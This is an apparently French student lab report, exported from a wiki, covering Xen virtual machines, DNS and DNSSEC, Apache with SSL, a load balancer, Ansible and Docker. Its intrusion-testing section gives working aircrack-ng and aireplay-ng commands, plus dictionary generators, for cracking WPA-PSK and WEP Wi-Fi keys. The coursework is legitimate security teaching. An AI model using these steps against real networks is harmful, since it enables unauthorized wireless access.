        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51825</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51825"/>
				<updated>2019-12-16T17:40:51Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Configuration de vos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
